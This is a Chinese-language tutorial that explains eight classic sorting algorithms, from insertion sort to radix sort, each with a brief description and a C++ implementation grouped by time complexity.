时间复杂度O(n^2)
1、插入排序 (Insertion Sort)
从第一个元素开始，该元素可以认为已经被排序；取出下一个元素，在已经排序的元素序列中从后向前扫描；如果该元素（已排序）大于新元素，将该元素移到下一位置；重复步骤，直到找到已排序的元素小于或者等于新元素的位置；将新元素插入到该位置后。
void insertionSort(int arr[], int n) {
for (int i = 1; i < n; ++i) {
int key = arr[i];
int j = i - 1;
while (j >= 0 && arr[j] > key) {
arr[j + 1] = arr[j];
--j;
}
arr[j + 1] = key;
}
}2、冒泡排序 (Bubble Sort)
重复地走访过要排序的数列，一次比较两个元素，如果他们的顺序错误就把他们交换过来。走访数列的工作是重复地进行直到没有再需要交换，也就是说该数列已经排序完成。
void bubbleSort(int arr[], int n) {
for (int i = 0; i < n - 1; ++i) {
for (int j = 0; j < n - i - 1; ++j) {
if (arr[j] > arr[j + 1]) {
std::swap(arr[j], arr[j + 1]);
}
}
}
}3、简单选择排序 (Selection Sort)
每一次从待排序的数据元素中选出最小（或最大）的一个元素，存放在序列的起始位置，直到全部待排序的数据元素排完。
void selectionSort(int arr[], int n) {
for (int i = 0; i < n - 1; i++) {
int min_idx = i;
for (int j = i + 1; j < n; j++) {
if (arr[j] < arr[min_idx]) {
min_idx = j;
}
}
std::swap(arr[min_idx], arr[i]);
}
} 时间复杂度O(nlog2n)
4、希尔排序(Shell Sort)
是插入排序的一种又称“缩小增量排序”，是直接插入排序算法的一种更高效的改进版本。希尔排序是非稳定排序算法。该方法的基本思想是：先将整个待排序的记录序列分割成为若干子序列（由相隔某个“增量”的记录组成的）分别进行直接插入排序，然后依次缩减增量再进行排序，待整个序列中的记录“基本有序”时，再对全体记录进行一次直接插入排序。
（这里只给出增量的简化选择，实际应用中增量序列的选择会更复杂）
void shellSort(int arr[], int n) {
int gap = n / 2;
while (gap > 0) {
for (int i = gap; i < n; ++i) {
int temp = arr[i];
int j = i;
while (j >= gap && arr[j - gap] > temp) {
arr[j] = arr[j - gap];
j -= gap;
}
arr[j] = temp;
}
gap /= 2;
}
}5、快速排序(Quick Sort)
通过一趟排序将待排记录分隔成独立的两部分，其中一部分记录的关键字均比另一部分的关键字小，则可分别对这两部分记录继续进行排序，以达到整个序列有序。
int partition(int arr[], int low, int high) {
int pivot = arr[high];
int i = (low - 1);
for (int j = low; j <= high - 1; j++) {
if (arr[j] < pivot) {
i++;
std::swap(arr[i], arr[j]);
}
}
std::swap(arr[i + 1], arr[high]);
return (i + 1);
}
void quickSort(int arr[], int low, int high) {
if (low < high) {
int pi = partition(arr, low, high);
quickSort(arr, low, pi - 1);
quickSort(arr, pi + 1, high);
}
}6、堆排序(Heap Sort)
堆排序是利用堆这种数据结构所设计的一种排序算法。堆积是一个近似完全二叉树的结构，并同时满足堆积的性质：即子节点的键值或索引总是小于（或者大于）它的父节点。堆排序主要要解决两个问题：
1）如何根据给定的序列建初始堆
2）如何在交换掉根结点后，将剩下的结点调整为新的堆(筛选)
void set(int p,int m){//小顶堆
int i,j;
i=p;j=i*2;
while(j<=m){
if(j<=m-1&&k[j]>k[j+1])//改为<
j++;
if(k[j]>=k[i])//改为<=，则为大顶堆
break;
else{
swap(k[i],k[j]);
i=j;
j=i*2;
}
}
}
void heapSort(){
int i,j;
for(i=n/2;i>0;i--)//建堆
set(i,n);
for(i=n;i>1;i--)//排序
{
swap(k[i],k[1]);
set(1,i-1);
}
}
7、归并排序 (Merge Sort)
归并排序采用分治法的思想，将数组分成两半，分别对它们进行排序，然后将结果合并起来。
1）编写一个辅助函数来合并两个已排序的子数组。
2）编写主归并排序函数，该函数将递归地分解数组，直到子数组只包含一个元素（已排序），然后合并这些子数组，直到整个数组排序完成。
void merge(int arr[], int left[], int leftSize, int right[], int rightSize) {
int i = 0, j = 0, k = 0;
while (i < leftSize && j < rightSize) {
if (left[i] <= right[j]) {
arr[k++] = left[i++];
} else {
arr[k++] = right[j++];
}
}
while (i < leftSize) {
arr[k++] = left[i++];
}
while (j < rightSize) {
arr[k++] = right[j++];
}
}
void mergeSort(int arr[], int left, int right) {
if (left < right) {
int mid = left + (right - left) / 2;
int leftSize = mid - left + 1;
int rightSize = right - mid;
int leftArr[leftSize], rightArr[rightSize];
// 拷贝数据到临时数组
for (int i = 0; i < leftSize; i++) {
leftArr[i] = arr[left + i];
}
for (int j = 0; j < rightSize; j++) {
rightArr[j] = arr[mid + 1 + j];
}
// 递归地对子数组进行排序
mergeSort(leftArr, 0, leftSize - 1);
mergeSort(rightArr, 0, rightSize - 1);
// 合并两个已排序的子数组
merge(arr, leftArr, leftSize, rightArr, rightSize);
}
}
时间复杂度O(d(n+rd))
8、基数排序(Radix Sort)
基数排序是一种非比较型整数排序算法，其原理是将整数按位数切割成不同的数字，然后按每个位数分别比较。为了适用于负数和非整数，这里给出一个简化的版本，仅适用于非负整数，并且假设所有整数的位数相同（或可以通过填充前导零来使它们具有相同的位数）。
#include <vector>
#include <algorithm>
void countingSort(std::vector<int>& arr, int exp) {
std::vector<int> output(arr.size());
std::vector<int> count(10, 0);
// 存储每个桶中的元素数量
for (int i = 0; i < arr.size(); i++)
count[(arr[i] / exp) % 10]++;
// 更改count[i]，使其包含每个数字小于或等于i的数量
for (int i = 1; i < 10; i++)
count[i] += count[i - 1];
// 构建输出数组
for (int i = arr.size() - 1; i >= 0; i--) {
output[count[(arr[i] / exp) % 10] - 1] = arr[i];
count[(arr[i] / exp) % 10]--;
}
// 复制回原数组
for (int i = 0; i < arr.size(); i++)
arr[i] = output[i];
}
void radixsort(std::vector<int>& arr) {
int maxVal = *std::max_element(arr.begin(), arr.end());
// 找到最大数的位数
int exp = 1;
while (maxVal / exp > 0) {
countingSort(arr, exp);
exp *= 10;
}
} 或者
#include <iostream>
#include <cmath>
#include <algorithm> // 使用std::max来找到数组中的最大值
// 获取数组中的最大值
int getMax(int arr[], int n) {
int mx = arr[0];
for (int i = 1; i < n; i++) {
if (arr[i] > mx) {
mx = arr[i];
}
}
return mx;
}
// 基数排序函数
void radixsort(int arr[], int n) {
// 找到数组中的最大值
int maxVal = getMax(arr, n);
// 基数排序使用计数排序作为子程序
// 这里为了简单起见，我们假设所有的整数都是非负的
// 如果有负数，需要做适当的转换
// 对每一位执行计数排序
for (int exp = 1; maxVal / exp > 0; exp *= 10) {
int output[n]; // 输出数组
int count[10] = {0}; // 计数器数组
// 存储每个元素的频次
for (int i = 0; i < n; i++) {
int index = (arr[i] / exp) % 10;
count[index]++;
}
// 更改count[i]的值，这样它现在包含位置i处之前的所有元素
for (int i = 1; i < 10; i++) {
count[i] += count[i - 1];
}
// 生成输出数组
for (int i = n - 1; i >= 0; i--) {
int index = (arr[i] / exp) % 10;
output[count[index] - 1] = arr[i];
count[index]--;
}
// 将排序后的元素复制回原数组
for (int i = 0; i < n; i++) {
arr[i] = output[i];
}
}
}
int main() {
int arr[] = {170, 45, 75, 90, 802, 24, 2, 66};
int n = sizeof(arr) / sizeof(arr[0]);
radixsort(arr, n);
std::cout << "Sorted array: \n";
for (int i = 0; i < n; i++) {
std::cout << arr[i] << " ";
}
std::cout << std::endl;
return 0;
}
